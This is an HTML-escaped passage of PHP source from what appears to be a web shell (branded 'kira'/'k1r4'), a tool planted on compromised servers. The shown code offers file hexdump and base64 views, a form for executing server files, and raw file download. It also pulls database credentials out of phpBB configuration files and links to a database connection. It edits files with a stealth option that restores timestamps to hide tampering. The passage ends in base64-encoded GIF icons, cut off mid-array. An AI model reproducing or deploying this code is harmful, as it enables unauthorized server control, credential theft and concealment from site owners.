     $a1 .= sprintf(&amp;quot;%02X&amp;quot;,ord($str[$i])).&amp;quot; &amp;quot;;&lt;br /&gt;
     switch (ord($str[$i]))&lt;br /&gt;
     {&lt;br /&gt;
      case 0:  $a2 .= &amp;quot;&amp;lt;font&amp;gt;0&amp;lt;/font&amp;gt;&amp;quot;; break;&lt;br /&gt;
      case 32:&lt;br /&gt;
      case 10:&lt;br /&gt;
      case 13: $a2 .= &amp;quot;&amp;amp;nbsp;&amp;quot;; break;&lt;br /&gt;
      default: $a2 .= htmlspecialchars($str[$i]);&lt;br /&gt;
     }&lt;br /&gt;
     $n++;&lt;br /&gt;
     if ($n == $hexdump_rows)&lt;br /&gt;
     {&lt;br /&gt;
      $n = 0;&lt;br /&gt;
      if ($i+1 &amp;lt; strlen($str)) {$a0 .= sprintf(&amp;quot;%08X&amp;quot;,$i+1).&amp;quot;&amp;lt;br&amp;gt;&amp;quot;;}&lt;br /&gt;
      $a1 .= &amp;quot;&amp;lt;br&amp;gt;&amp;quot;;&lt;br /&gt;
      $a2 .= &amp;quot;&amp;lt;br&amp;gt;&amp;quot;;&lt;br /&gt;
     }&lt;br /&gt;
    }&lt;br /&gt;
    //if ($a1 != &amp;quot;&amp;quot;) {$a0 .= sprintf(&amp;quot;%08X&amp;quot;,$i).&amp;quot;&amp;lt;br&amp;gt;&amp;quot;;}&lt;br /&gt;
    echo &amp;quot;&amp;lt;table border=0 bgcolor=#666666 cellspacing=1 cellpadding=4&amp;gt;&amp;lt;tr&amp;gt;&amp;lt;td bgcolor=#666666&amp;gt;&amp;quot;.$a0.&amp;quot;&amp;lt;/td&amp;gt;&amp;lt;td bgcolor=000000&amp;gt;&amp;quot;.$a1.&amp;quot;&amp;lt;/td&amp;gt;&amp;lt;td bgcolor=000000&amp;gt;&amp;quot;.$a2.&amp;quot;&amp;lt;/td&amp;gt;&amp;lt;/tr&amp;gt;&amp;lt;/table&amp;gt;&amp;lt;br&amp;gt;&amp;quot;;&lt;br /&gt;
   }&lt;br /&gt;
   $encoded = &amp;quot;&amp;quot;;&lt;br /&gt;
   if ($base64 == 1)&lt;br /&gt;
   {&lt;br /&gt;
    echo &amp;quot;&amp;lt;b&amp;gt;Base64 Encode&amp;lt;/b&amp;gt;&amp;lt;br&amp;gt;&amp;quot;;&lt;br /&gt;
    $encoded = base64_encode(file_get_contents($d.$f));&lt;br /&gt;
   }&lt;br /&gt;
   elseif($base64 == 2)&lt;br /&gt;
   {&lt;br /&gt;
    echo &amp;quot;&amp;lt;b&amp;gt;Base64 Encode + Chunk&amp;lt;/b&amp;gt;&amp;lt;br&amp;gt;&amp;quot;;&lt;br /&gt;
    $encoded = chunk_split(base64_encode(file_get_contents($d.$f)));&lt;br /&gt;
   }&lt;br /&gt;
   elseif($base64 == 3)&lt;br /&gt;
   {&lt;br /&gt;
    echo &amp;quot;&amp;lt;b&amp;gt;Base64 Encode + Chunk + Quotes&amp;lt;/b&amp;gt;&amp;lt;br&amp;gt;&amp;quot;;&lt;br /&gt;
    $encoded = base64_encode(file_get_contents($d.$f));&lt;br /&gt;
    $encoded = substr(preg_replace(&amp;quot;!.{1,76}!&amp;quot;,&amp;quot;'\\0'.\n&amp;quot;,$encoded),0,-2);&lt;br /&gt;
   }&lt;br /&gt;
   elseif($base64 == 4)&lt;br /&gt;
   {&lt;br /&gt;
    $text = file_get_contents($d.$f);&lt;br /&gt;
    $encoded = base64_decode($text);&lt;br /&gt;
    echo &amp;quot;&amp;lt;b&amp;gt;Base64 Decode&amp;quot;;&lt;br /&gt;
    if (base64_encode($encoded) != $text) {echo &amp;quot; (failed)&amp;quot;;}&lt;br /&gt;
    echo &amp;quot;&amp;lt;/b&amp;gt;&amp;lt;br&amp;gt;&amp;quot;;&lt;br /&gt;
   }&lt;br /&gt;
   if (!empty($encoded))&lt;br /&gt;
   {&lt;br /&gt;
    echo &amp;quot;&amp;lt;textarea cols=80 rows=10&amp;gt;&amp;quot;.htmlspecialchars($encoded).&amp;quot;&amp;lt;/textarea&amp;gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;quot;;&lt;br /&gt;
   }&lt;br /&gt;
   echo &amp;quot;&amp;lt;b&amp;gt;HEXDUMP:&amp;lt;/b&amp;gt;&amp;lt;nobr&amp;gt; [&amp;lt;a href=\&amp;quot;&amp;quot;.$surl.&amp;quot;act=f&amp;amp;f=&amp;quot;.urlencode($f).&amp;quot;&amp;amp;ft=info&amp;amp;fullhexdump=1&amp;amp;d=&amp;quot;.urlencode($d).&amp;quot;\&amp;quot;&amp;gt;Full&amp;lt;/a&amp;gt;] [&amp;lt;a href=\&amp;quot;&amp;quot;.$surl.&amp;quot;act=f&amp;amp;f=&amp;quot;.urlencode($f).&amp;quot;&amp;amp;ft=info&amp;amp;d=&amp;quot;.urlencode($d).&amp;quot;\&amp;quot;&amp;gt;Preview&amp;lt;/a&amp;gt;]&amp;lt;br&amp;gt;&amp;lt;b&amp;gt;Base64: &amp;lt;/b&amp;gt;&lt;br /&gt;
&amp;lt;nobr&amp;gt;[&amp;lt;a href=\&amp;quot;&amp;quot;.$surl.&amp;quot;act=f&amp;amp;f=&amp;quot;.urlencode($f).&amp;quot;&amp;amp;ft=info&amp;amp;base64=1&amp;amp;d=&amp;quot;.urlencode($d).&amp;quot;\&amp;quot;&amp;gt;Encode&amp;lt;/a&amp;gt;]&amp;amp;nbsp;&amp;lt;/nobr&amp;gt;&lt;br /&gt;
&amp;lt;nobr&amp;gt;[&amp;lt;a href=\&amp;quot;&amp;quot;.$surl.&amp;quot;act=f&amp;amp;f=&amp;quot;.urlencode($f).&amp;quot;&amp;amp;ft=info&amp;amp;base64=2&amp;amp;d=&amp;quot;.urlencode($d).&amp;quot;\&amp;quot;&amp;gt;+chunk&amp;lt;/a&amp;gt;]&amp;amp;nbsp;&amp;lt;/nobr&amp;gt;&lt;br /&gt;
&amp;lt;nobr&amp;gt;[&amp;lt;a href=\&amp;quot;&amp;quot;.$surl.&amp;quot;act=f&amp;amp;f=&amp;quot;.urlencode($f).&amp;quot;&amp;amp;ft=info&amp;amp;base64=3&amp;amp;d=&amp;quot;.urlencode($d).&amp;quot;\&amp;quot;&amp;gt;+chunk+quotes&amp;lt;/a&amp;gt;]&amp;amp;nbsp;&amp;lt;/nobr&amp;gt;&lt;br /&gt;
&amp;lt;nobr&amp;gt;[&amp;lt;a href=\&amp;quot;&amp;quot;.$surl.&amp;quot;act=f&amp;amp;f=&amp;quot;.urlencode($f).&amp;quot;&amp;amp;ft=info&amp;amp;base64=4&amp;amp;d=&amp;quot;.urlencode($d).&amp;quot;\&amp;quot;&amp;gt;Decode&amp;lt;/a&amp;gt;]&amp;amp;nbsp;&amp;lt;/nobr&amp;gt;&lt;br /&gt;
&amp;lt;P&amp;gt;&amp;quot;;&lt;br /&gt;
  }&lt;br /&gt;
  elseif ($ft == &amp;quot;html&amp;quot;)&lt;br /&gt;
  {&lt;br /&gt;
   if ($white) {@ob_clean();}&lt;br /&gt;
   echo $r;&lt;br /&gt;
   if ($white) {k1r4exit();}&lt;br /&gt;
  }&lt;br /&gt;
  elseif ($ft == &amp;quot;txt&amp;quot;) {echo &amp;quot;&amp;lt;pre&amp;gt;&amp;quot;.htmlspecialchars($r).&amp;quot;&amp;lt;/pre&amp;gt;&amp;quot;;}&lt;br /&gt;
  elseif ($ft == &amp;quot;ini&amp;quot;) {echo &amp;quot;&amp;lt;pre&amp;gt;&amp;quot;; var_dump(parse_ini_file($d.$f,TRUE)); echo &amp;quot;&amp;lt;/pre&amp;gt;&amp;quot;;}&lt;br /&gt;
  elseif ($ft == &amp;quot;phpsess&amp;quot;)&lt;br /&gt;
  {&lt;br /&gt;
   echo &amp;quot;&amp;lt;pre&amp;gt;&amp;quot;;&lt;br /&gt;
   $v = explode(&amp;quot;|&amp;quot;,$r);&lt;br /&gt;
   echo $v[0].&amp;quot;&amp;lt;br&amp;gt;&amp;quot;;&lt;br /&gt;
   var_dump(unserialize($v[1]));&lt;br /&gt;
   echo &amp;quot;&amp;lt;/pre&amp;gt;&amp;quot;;&lt;br /&gt;
  }&lt;br /&gt;
  elseif ($ft == &amp;quot;exe&amp;quot;)&lt;br /&gt;
  {&lt;br /&gt;
   $ext = explode(&amp;quot;.&amp;quot;,$f);&lt;br /&gt;
   $c = count($ext)-1;&lt;br /&gt;
   $ext = $ext[$c];&lt;br /&gt;
   $ext = strtolower($ext);&lt;br /&gt;
   $rft = &amp;quot;&amp;quot;;&lt;br /&gt;
   foreach($exeftypes as $k=&amp;gt;$v)&lt;br /&gt;
   {&lt;br /&gt;
    if (in_array($ext,$v)) {$rft = $k; break;}&lt;br /&gt;
   }&lt;br /&gt;
   $cmd = str_replace(&amp;quot;%f%&amp;quot;,$f,$rft);&lt;br /&gt;
   echo &amp;quot;&amp;lt;b&amp;gt;Execute file:&amp;lt;/b&amp;gt;&amp;lt;form action=\&amp;quot;&amp;quot;.$surl.&amp;quot;\&amp;quot; method=POST&amp;gt;&amp;lt;input type=hidden name=act value=cmd&amp;gt;&amp;lt;input type=\&amp;quot;text\&amp;quot; name=\&amp;quot;cmd\&amp;quot; value=\&amp;quot;&amp;quot;.htmlspecialchars($cmd).&amp;quot;\&amp;quot; size=\&amp;quot;&amp;quot;.(strlen($cmd)+2).&amp;quot;\&amp;quot;&amp;gt;&amp;lt;br&amp;gt;Display in text-area&amp;lt;input type=\&amp;quot;checkbox\&amp;quot; name=\&amp;quot;cmd_txt\&amp;quot; value=\&amp;quot;1\&amp;quot; checked&amp;gt;&amp;lt;input type=hidden name=\&amp;quot;d\&amp;quot; value=\&amp;quot;&amp;quot;.htmlspecialchars($d).&amp;quot;\&amp;quot;&amp;gt;&amp;lt;br&amp;gt;&amp;lt;input type=submit name=submit value=\&amp;quot;Execute\&amp;quot;&amp;gt;&amp;lt;/form&amp;gt;&amp;quot;;&lt;br /&gt;
  }&lt;br /&gt;
  elseif ($ft == &amp;quot;sdb&amp;quot;) {echo &amp;quot;&amp;lt;pre&amp;gt;&amp;quot;; var_dump(unserialize(base64_decode($r))); echo &amp;quot;&amp;lt;/pre&amp;gt;&amp;quot;;}&lt;br /&gt;
  elseif ($ft == &amp;quot;code&amp;quot;)&lt;br /&gt;
  {&lt;br /&gt;
   if (ereg(&amp;quot;php&amp;quot;.&amp;quot;BB 2.(.*) auto-generated config file&amp;quot;,$r))&lt;br /&gt;
   {&lt;br /&gt;
    $arr = explode(&amp;quot;\n&amp;quot;,$r);&lt;br /&gt;
    if (count($arr == 18))&lt;br /&gt;
    {&lt;br /&gt;
     include($d.$f);&lt;br /&gt;
     echo &amp;quot;&amp;lt;b&amp;gt;phpBB configuration is detected in this file!&amp;lt;br&amp;gt;&amp;quot;;&lt;br /&gt;
     if ($dbms == &amp;quot;mysql4&amp;quot;) {$dbms = &amp;quot;mysql&amp;quot;;}&lt;br /&gt;
     if ($dbms == &amp;quot;mysql&amp;quot;) {echo &amp;quot;&amp;lt;a href=\&amp;quot;&amp;quot;.$surl.&amp;quot;act=sql&amp;amp;sql_server=&amp;quot;.htmlspecialchars($dbhost).&amp;quot;&amp;amp;sql_login=&amp;quot;.htmlspecialchars($dbuser).&amp;quot;&amp;amp;sql_passwd=&amp;quot;.htmlspecialchars($dbpasswd).&amp;quot;&amp;amp;sql_port=3306&amp;amp;sql_db=&amp;quot;.htmlspecialchars($dbname).&amp;quot;\&amp;quot;&amp;gt;&amp;lt;b&amp;gt;&amp;lt;u&amp;gt;Connect to DB&amp;lt;/u&amp;gt;&amp;lt;/b&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;quot;;}&lt;br /&gt;
     else {echo &amp;quot;But, you can't connect to forum sql-base, because db-software=\&amp;quot;&amp;quot;.$dbms.&amp;quot;\&amp;quot; is not supported by kira. Please, report us for fix.&amp;quot;;}&lt;br /&gt;
     echo &amp;quot;Parameters for manual connect:&amp;lt;br&amp;gt;&amp;quot;;&lt;br /&gt;
     $cfgvars = array(&amp;quot;dbms&amp;quot;=&amp;gt;$dbms,&amp;quot;dbhost&amp;quot;=&amp;gt;$dbhost,&amp;quot;dbname&amp;quot;=&amp;gt;$dbname,&amp;quot;dbuser&amp;quot;=&amp;gt;$dbuser,&amp;quot;dbpasswd&amp;quot;=&amp;gt;$dbpasswd);&lt;br /&gt;
     foreach ($cfgvars as $k=&amp;gt;$v) {echo htmlspecialchars($k).&amp;quot;='&amp;quot;.htmlspecialchars($v).&amp;quot;'&amp;lt;br&amp;gt;&amp;quot;;}&lt;br /&gt;
     echo &amp;quot;&amp;lt;/b&amp;gt;&amp;lt;hr size=\&amp;quot;1\&amp;quot; noshade&amp;gt;&amp;quot;;&lt;br /&gt;
    }&lt;br /&gt;
   }&lt;br /&gt;
   echo &amp;quot;&amp;lt;div style=\&amp;quot;border : 0px solid #FFFFFF; padding: 1em; margin-top: 1em; margin-bottom: 1em; margin-right: 1em; margin-left: 1em; background-color: &amp;quot;.$highlight_background .&amp;quot;;\&amp;quot;&amp;gt;&amp;quot;;&lt;br /&gt;
   if (!empty($white)) {@ob_clean();}&lt;br /&gt;
   highlight_file($d.$f);&lt;br /&gt;
   if (!empty($white)) {k1r4exit();}&lt;br /&gt;
   echo &amp;quot;&amp;lt;/div&amp;gt;&amp;quot;;&lt;br /&gt;
  }&lt;br /&gt;
  elseif ($ft == &amp;quot;download&amp;quot;)&lt;br /&gt;
  {&lt;br /&gt;
   @ob_clean();&lt;br /&gt;
   header(&amp;quot;Content-type: application/octet-stream&amp;quot;);&lt;br /&gt;
   header(&amp;quot;Content-length: &amp;quot;.filesize($d.$f));&lt;br /&gt;
   header(&amp;quot;Content-disposition: attachment; filename=\&amp;quot;&amp;quot;.$f.&amp;quot;\&amp;quot;;&amp;quot;);&lt;br /&gt;
   echo $r;&lt;br /&gt;
   exit;&lt;br /&gt;
  }&lt;br /&gt;
  elseif ($ft == &amp;quot;notepad&amp;quot;)&lt;br /&gt;
  {&lt;br /&gt;
   @ob_clean();&lt;br /&gt;
   header(&amp;quot;Content-type: text/plain&amp;quot;);&lt;br /&gt;
   header(&amp;quot;Content-disposition: attachment; filename=\&amp;quot;&amp;quot;.$f.&amp;quot;.txt\&amp;quot;;&amp;quot;);&lt;br /&gt;
   echo($r);&lt;br /&gt;
   exit;&lt;br /&gt;
  }&lt;br /&gt;
  elseif ($ft == &amp;quot;img&amp;quot;)&lt;br /&gt;
  {&lt;br /&gt;
   $inf = getimagesize($d.$f);&lt;br /&gt;
   if (!$white)&lt;br /&gt;
   {&lt;br /&gt;
    if (empty($imgsize)) {$imgsize = 20;}&lt;br /&gt;
    $width = $inf[0]/100*$imgsize;&lt;br /&gt;
    $height = $inf[1]/100*$imgsize;&lt;br /&gt;
    echo &amp;quot;&amp;lt;center&amp;gt;&amp;lt;b&amp;gt;Size:&amp;lt;/b&amp;gt;&amp;amp;nbsp;&amp;quot;;&lt;br /&gt;
    $sizes = array(&amp;quot;100&amp;quot;,&amp;quot;50&amp;quot;,&amp;quot;20&amp;quot;);&lt;br /&gt;
    foreach ($sizes as $v)&lt;br /&gt;
    {&lt;br /&gt;
     echo &amp;quot;&amp;lt;a href=\&amp;quot;&amp;quot;.$surl.&amp;quot;act=f&amp;amp;f=&amp;quot;.urlencode($f).&amp;quot;&amp;amp;ft=img&amp;amp;d=&amp;quot;.urlencode($d).&amp;quot;&amp;amp;imgsize=&amp;quot;.$v.&amp;quot;\&amp;quot;&amp;gt;&amp;quot;;&lt;br /&gt;
     if ($imgsize != $v ) {echo $v;}&lt;br /&gt;
     else {echo &amp;quot;&amp;lt;u&amp;gt;&amp;quot;.$v.&amp;quot;&amp;lt;/u&amp;gt;&amp;quot;;}&lt;br /&gt;
     echo &amp;quot;&amp;lt;/a&amp;gt;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;quot;;&lt;br /&gt;
    }&lt;br /&gt;
    echo &amp;quot;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;lt;img src=\&amp;quot;&amp;quot;.$surl.&amp;quot;act=f&amp;amp;f=&amp;quot;.urlencode($f).&amp;quot;&amp;amp;ft=img&amp;amp;white=1&amp;amp;d=&amp;quot;.urlencode($d).&amp;quot;\&amp;quot; width=\&amp;quot;&amp;quot;.$width.&amp;quot;\&amp;quot; height=\&amp;quot;&amp;quot;.$height.&amp;quot;\&amp;quot; border=\&amp;quot;1\&amp;quot;&amp;gt;&amp;lt;/center&amp;gt;&amp;quot;;&lt;br /&gt;
   }&lt;br /&gt;
   else&lt;br /&gt;
   {&lt;br /&gt;
    @ob_clean();&lt;br /&gt;
    $ext = explode($f,&amp;quot;.&amp;quot;);&lt;br /&gt;
    $ext = $ext[count($ext)-1];&lt;br /&gt;
    header(&amp;quot;Content-type: &amp;quot;.$inf[&amp;quot;mime&amp;quot;]);&lt;br /&gt;
    readfile($d.$f);&lt;br /&gt;
    exit;&lt;br /&gt;
   }&lt;br /&gt;
  }&lt;br /&gt;
  elseif ($ft == &amp;quot;edit&amp;quot;)&lt;br /&gt;
  {&lt;br /&gt;
   if (!empty($submit))&lt;br /&gt;
   {&lt;br /&gt;
    if ($filestealth) {$stat = stat($d.$f);}&lt;br /&gt;
    $fp = fopen($d.$f,&amp;quot;w&amp;quot;);&lt;br /&gt;
    if (!$fp) {echo &amp;quot;&amp;lt;b&amp;gt;Can't write to file!&amp;lt;/b&amp;gt;&amp;quot;;}&lt;br /&gt;
    else&lt;br /&gt;
    {&lt;br /&gt;
     echo &amp;quot;&amp;lt;b&amp;gt;Saved!&amp;lt;/b&amp;gt;&amp;quot;;&lt;br /&gt;
     fwrite($fp,$edit_text);&lt;br /&gt;
     fclose($fp);&lt;br /&gt;
     if ($filestealth) {touch($d.$f,$stat[9],$stat[8]);}&lt;br /&gt;
     $r = $edit_text;&lt;br /&gt;
    }&lt;br /&gt;
   }&lt;br /&gt;
   $rows = count(explode(&amp;quot;\r\n&amp;quot;,$r));&lt;br /&gt;
   if ($rows &amp;lt; 10) {$rows = 10;}&lt;br /&gt;
   if ($rows &amp;gt; 30) {$rows = 30;}&lt;br /&gt;
   echo &amp;quot;&amp;lt;form action=\&amp;quot;&amp;quot;.$surl.&amp;quot;act=f&amp;amp;f=&amp;quot;.urlencode($f).&amp;quot;&amp;amp;ft=edit&amp;amp;d=&amp;quot;.urlencode($d).&amp;quot;\&amp;quot; method=POST&amp;gt;&amp;lt;input type=submit name=submit value=\&amp;quot;Save\&amp;quot;&amp;gt;&amp;amp;nbsp;&amp;lt;input type=\&amp;quot;reset\&amp;quot; value=\&amp;quot;Reset\&amp;quot;&amp;gt;&amp;amp;nbsp;&amp;lt;input type=\&amp;quot;button\&amp;quot; onclick=\&amp;quot;location.href='&amp;quot;.addslashes($surl.&amp;quot;act=ls&amp;amp;d=&amp;quot;.substr($d,0,-1)).&amp;quot;';\&amp;quot; value=\&amp;quot;Back\&amp;quot;&amp;gt;&amp;lt;br&amp;gt;&amp;lt;textarea name=\&amp;quot;edit_text\&amp;quot; cols=\&amp;quot;122\&amp;quot; rows=\&amp;quot;&amp;quot;.$rows.&amp;quot;\&amp;quot;&amp;gt;&amp;quot;.htmlspecialchars($r).&amp;quot;&amp;lt;/textarea&amp;gt;&amp;lt;/form&amp;gt;&amp;quot;;&lt;br /&gt;
  }&lt;br /&gt;
  elseif (!empty($ft)) {echo &amp;quot;&amp;lt;center&amp;gt;&amp;lt;b&amp;gt;Manually selected type is incorrect. If you think, it is mistake, please send us url and dump of \$GLOBALS.&amp;lt;/b&amp;gt;&amp;lt;/center&amp;gt;&amp;quot;;}&lt;br /&gt;
  else {echo &amp;quot;&amp;lt;center&amp;gt;&amp;lt;b&amp;gt;Unknown extension (&amp;quot;.$ext.&amp;quot;), please, select type manually.&amp;lt;/b&amp;gt;&amp;lt;/center&amp;gt;&amp;quot;;}&lt;br /&gt;
 }&lt;br /&gt;
}&lt;br /&gt;
}&lt;br /&gt;
else&lt;br /&gt;
{&lt;br /&gt;
 @ob_clean();&lt;br /&gt;
 $images = array(&lt;br /&gt;
&amp;quot;arrow_ltr&amp;quot;=&amp;gt;&lt;br /&gt;
&amp;quot;R0lGODlhJgAWAIAAAAAAAP///yH5BAUUAAEALAAAAAAmABYAAAIvjI+py+0PF4i0gVvzuVxXDnoQ&amp;quot;.&lt;br /&gt;
&amp;quot;SIrUZGZoerKf28KjPNPOaku5RfZ+uQsKh8RiogAAOw==&amp;quot;,&lt;br /&gt;
&amp;quot;back&amp;quot;=&amp;gt;&lt;br /&gt;
&amp;quot;R0lGODlhFAAUAKIAAAAAAP///93d3cDAwIaGhgQEBP///wAAACH5BAEAAAYALAAAAAAUABQAAAM8&amp;quot;.&lt;br /&gt;
&amp;quot;aLrc/jDKSWWpjVysSNiYJ4CUOBJoqjniILzwuzLtYN/3zBSErf6kBW+gKRiPRghPh+EFK0mOUEqt&amp;quot;.&lt;br /&gt;
&amp;quot;Wg0JADs=&amp;quot;,&lt;br /&gt;
&amp;quot;buffer&amp;quot;=&amp;gt;&lt;br /&gt;
&amp;quot;R0lGODlhFAAUAKIAAAAAAP////j4+N3d3czMzLKysoaGhv///yH5BAEAAAcALAAAAAAUABQAAANo&amp;quot;.&lt;br /&gt;
&amp;quot;eLrcribG90y4F1Amu5+NhY2kxl2CMKwrQRSGuVjp4LmwDAWqiAGFXChg+xhnRB+ptLOhai1crEmD&amp;quot;.&lt;br /&gt;
&amp;quot;Dlwv4cEC46mi2YgJQKaxsEGDFnnGwWDTEzj9jrPRdbhuG8Cr/2INZIOEhXsbDwkAOw==&amp;quot;,&lt;br /&gt;
&amp;quot;change&amp;quot;=&amp;gt;&lt;br /&gt;
&amp;quot;R0lGODlhFAAUAMQfAL3hj7nX+pqo1ejy/f7YAcTb+8vh+6FtH56WZtvr/RAQEZecx9Ll/PX6/v3+&amp;quot;.&lt;br /&gt;
&amp;quot;/3eHt6q88eHu/ZkfH3yVyIuQt+72/kOm99fo/P8AZm57rkGS4Hez6pil9oep3GZmZv///yH5BAEA&amp;quot;.&lt;br /&gt;
&amp;quot;AB8ALAAAAAAUABQAAAWf4CeOZGme6NmtLOulX+c4TVNVQ7e9qFzfg4HFonkdJA5S54cbRAoFyEOC&amp;quot;.&lt;br /&gt;
&amp;quot;wSiUtmYkkrgwOAeA5zrqaLldBiNMIJeD266XYTgQDm5Rx8mdG+oAbSYdaH4Ga3c8JBMJaXQGBQgA&amp;quot;.&lt;br /&gt;
&amp;quot;CHkjE4aQkQ0AlSITan+ZAQqkiiQPj1AFAaMKEKYjD39QrKwKAa8nGQK8Agu/CxTCsCMexsfIxjDL&amp;quot;.&lt;br /&gt;
&amp;quot;zMshADs=&amp;quot;,&lt;br /&gt;
&amp;quot;delete&amp;quot;=&amp;gt;&lt;br /&gt;
&amp;quot;R0lGODlhFAAUAOZZAPz8/NPFyNgHLs0YOvPz8/b29sacpNXV1fX19cwXOfDw8Kenp/n5+etgeunp&amp;quot;.&lt;br /&gt;
&amp;quot;6dcGLMMpRurq6pKSktvb2+/v7+1wh3R0dPnP17iAipxyel9fX7djcscSM93d3ZGRkeEsTevd4LCw&amp;quot;.&lt;br /&gt;
&amp;quot;sGRkZGpOU+IfQ+EQNoh6fdIcPeHh4YWFhbJQYvLy8ui+xm5ubsxccOx8kcM4UtY9WeAdQYmJifWv&amp;quot;.&lt;br /&gt;
&amp;quot;vHx8fMnJycM3Uf3v8rRue98ONbOzs9YFK5SUlKYoP+Tk5N0oSufn57ZGWsQrR9kIL5CQkOPj42Vl&amp;quot;.&lt;br /&gt;
&amp;quot;ZeAPNudAX9sKMPv7+15QU5ubm39/f8e5u4xiatra2ubKz8PDw+pfee9/lMK0t81rfd8AKf///wAA&amp;quot;.&lt;br /&gt;
&amp;quot;AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA&amp;quot;.&lt;br /&gt;
&amp;quot;AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACH5&amp;quot;.&lt;br /&gt;
&amp;quot;BAEAAFkALAAAAAAUABQAAAesgFmCg4SFhoeIhiUfIImIMlgQB46GLAlYQkaFVVhSAIZLT5cbEYI4&amp;quot;.&lt;br /&gt;
&amp;quot;STo5MxOfhQwBA1gYChckQBk1OwiIALACLkgxJilTBI69RFhDFh4HDJRZVFgPPFBR0FkNWDdMHA8G&amp;quot;.&lt;br /&gt;
&amp;quot;BZTaMCISVgMC4IkVWCcaPSi96OqGNFhKI04dgr0QWFcKDL3A4uOIjVZZABxQIWDBLkIEQrRoQsHQ&amp;quot;.&lt;br /&gt;
&amp;quot;jwVFHBgiEGQFIgQasYkcSbJQIAA7&amp;quot;,&lt;br /&gt;
&amp;quot;download&amp;quot;=&amp;gt;&lt;br /&gt;
&amp;quot;R0lGODlhFAAUALMIAAD/AACAAIAAAMDAwH9/f/8AAP///wAAAP///wAAAAAAAAAAAAAAAAAAAAAA&amp;quot;.&lt;br /&gt;
&amp;quot;AAAAACH5BAEAAAgALAAAAAAUABQAAAROEMlJq704UyGOvkLhfVU4kpOJSpx5nF9YiCtLf0SuH7pu&amp;quot;.&lt;br /&gt;
&amp;quot;EYOgcBgkwAiGpHKZzB2JxADASQFCidQJsMfdGqsDJnOQlXTP38przWbX3qgIADs=&amp;quot;,&lt;br /&gt;
&amp;quot;forward&amp;quot;=&amp;gt;&lt;br /&gt;
&amp;quot;R0lGODlhFAAUAPIAAAAAAP///93d3cDAwIaGhgQEBP///wAAACH5BAEAAAYALAAAAAAUABQAAAM8&amp;quot;.&lt;br /&gt;
&amp;quot;aLrc/jDK2Qp9xV5WiN5G50FZaRLD6IhE66Lpt3RDbd9CQFSE4P++QW7He7UKPh0IqVw2l0RQSEqt&amp;quot;.&lt;br /&gt;
&amp;quot;WqsJADs=&amp;quot;,&lt;br /&gt;
&amp;quot;home&amp;quot;=&amp;gt;&lt;br /&gt;
&amp;quot;R0lGODlhFAAUALMAAAAAAP///+rq6t3d3czMzLKysoaGhmZmZgQEBP///wAAAAAAAAAAAAAAAAAA&amp;quot;.&lt;br /&gt;
&amp;quot;AAAAACH5BAEAAAkALAAAAAAUABQAAAR+MMk5TTWI6ipyMoO3cUWRgeJoCCaLoKO0mq0ZxjNSBDWS&amp;quot;.&lt;br /&gt;
&amp;quot;krqAsLfJ7YQBl4tiRCYFSpPMdRRCoQOiL4i8CgZgk09WfWLBYZHB6UWjCequwEDHuOEVK3QtgN/j&amp;quot;.&lt;br /&gt;
&amp;quot;VwMrBDZvgF+ChHaGeYiCBQYHCH8VBJaWdAeSl5YiW5+goBIRADs=&amp;quot;,&lt;br /&gt;
&amp;quot;mode&amp;quot;=&amp;gt;&lt;br /&gt;
&amp;quot;R0lGODlhHQAUALMAAAAAAP///6CgpN3d3czMzIaGhmZmZl9fX////wAAAAAAAAAAAAAAAAAAAAAA&amp;quot;.&lt;br /&gt;
&amp;quot;AAAAACH5BAEAAAgALAAAAAAdABQAAASBEMlJq70461m6/+AHZMUgnGiqniNWHHAsz3F7FUGu73xO&amp;quot;.&lt;br /&gt;
&amp;quot;2BZcwGDoEXk/Uq4ICACeQ6fzmXTlns0ddle99b7cFvYpER55Z10Xy1lKt8wpoIsACrdaqBpYEYK/&amp;quot;.&lt;br /&gt;
&amp;quot;dH1LRWiEe0pRTXBvVHwUd3o6eD6OHASXmJmamJUSY5+gnxujpBIRADs=&amp;quot;,&lt;br /&gt;
&amp;quot;refresh&amp;quot;=&amp;gt;&lt;br /&gt;
&amp;quot;R0lGODlhEQAUALMAAAAAAP////Hx8erq6uPj493d3czMzLKysoaGhmZmZl9fXwQEBP///wAAAAAA&amp;quot;.&lt;br /&gt;
&amp;quot;AAAAACH5BAEAAAwALAAAAAARABQAAAR1kMlJq0Q460xR+GAoIMvkheIYlMyJBkJ8lm6YxMKi6zWY&amp;quot;.&lt;br /&gt;
&amp;quot;3AKCYbjo/Y4EQqFgKIYUh8EvuWQ6PwPFQJpULpunrXZLrYKx20G3oDA7093Esv19q5O/woFu9ZAJ&amp;quot;.&lt;br /&gt;
&amp;quot;R3lufmWCVX13h3KHfWWMjGBDkpOUTTuXmJgRADs=&amp;quot;,&lt;br /&gt;
&amp;quot;search&amp;quot;=&amp;gt;&lt;br /&gt;
&amp;quot;R0lGODlhFAAUALMAAAAAAP///+rq6t3d3czMzMDAwLKysoaGhnd3d2ZmZl9fX01NTSkpKQQEBP//&amp;quot;.&lt;br /&gt;
&amp;quot;/wAAACH5BAEAAA4ALAAAAAAUABQAAASn0Ml5qj0z5xr6+JZGeUZpHIqRNOIRfIYiy+a6vcOpHOap&amp;quot;.&lt;br /&gt;
&amp;quot;s5IKQccz8XgK4EGgQqWMvkrSscylhoaFVmuZLgUDAnZxEBMODSnrkhiSCZ4CGrUWMA+LLDxuSHsD&amp;quot;.&lt;br /&gt;
&amp;quot;AkN4C3sfBX10VHaBJ4QfA4eIU4pijQcFmCVoNkFlggcMRScNSUCdJyhoDasNZ5MTDVsXBwlviRmr&amp;quot;.&lt;br /&gt;
&amp;quot;Cbq7C6sIrqawrKwTv68iyA6rDhEAOw==&amp;quot;,&lt;br /&gt;
&amp;quot;setup&amp;quot;=&amp;gt;&lt;br /&gt;
&amp;quot;R0lGODlhFAAUAMQAAAAAAP////j4+OPj493d3czMzMDAwLKyspaWloaGhnd3d2ZmZl9fX01NTUJC&amp;quot;.&lt;br /&gt;
